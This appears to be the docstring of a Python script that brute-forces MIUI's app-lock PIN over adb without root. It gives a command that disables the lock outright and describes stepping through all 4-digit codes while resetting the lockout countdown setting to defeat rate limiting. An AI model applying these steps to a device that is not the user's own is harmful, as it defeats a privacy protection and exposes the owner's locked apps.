+"""
+This script bruteforce applock (aka Privacy Protection) feature in MIUI.
+!NO ROOT NEEDED!
+It can be useful if you forgot password
+If you wanna just get access to locked app then execute in adb shell:
+settings put secure access_control_lock_enabled 0
+But it doesn't give you access to applock settings.
+If you want to get access to that settings then you have to use this script
+-1. Some names may be inaccurate because I used Russian interface
+0. It works only with 4 numbers pin code
+0.1 It has been tested only with Redmi Note 8 pro, for others phone
+you may have to get screen coordinates of numbers in screen keyboard
+1. Open screen of app lock settings with pin code requirements (Settings -> App -> Apps protection)
+2. Run this script
+3. Wait
+
+Common algorithm of the script:
+1. Choose next pin to test (from range 0000 -> 9999)
+2. Enter it by using "input" command
+3. By using command "settings get secure applock_countDownTimer_deadline" find out if pin was correct. If was then exit from script
+4. Press back key by using "input" command
+5. Reset KD timer by "settings put secure applock_countDownTimer_deadline 0" command (that's why it all works)
+6. Enter into applock pin requirements screen
+7. Back to point 1
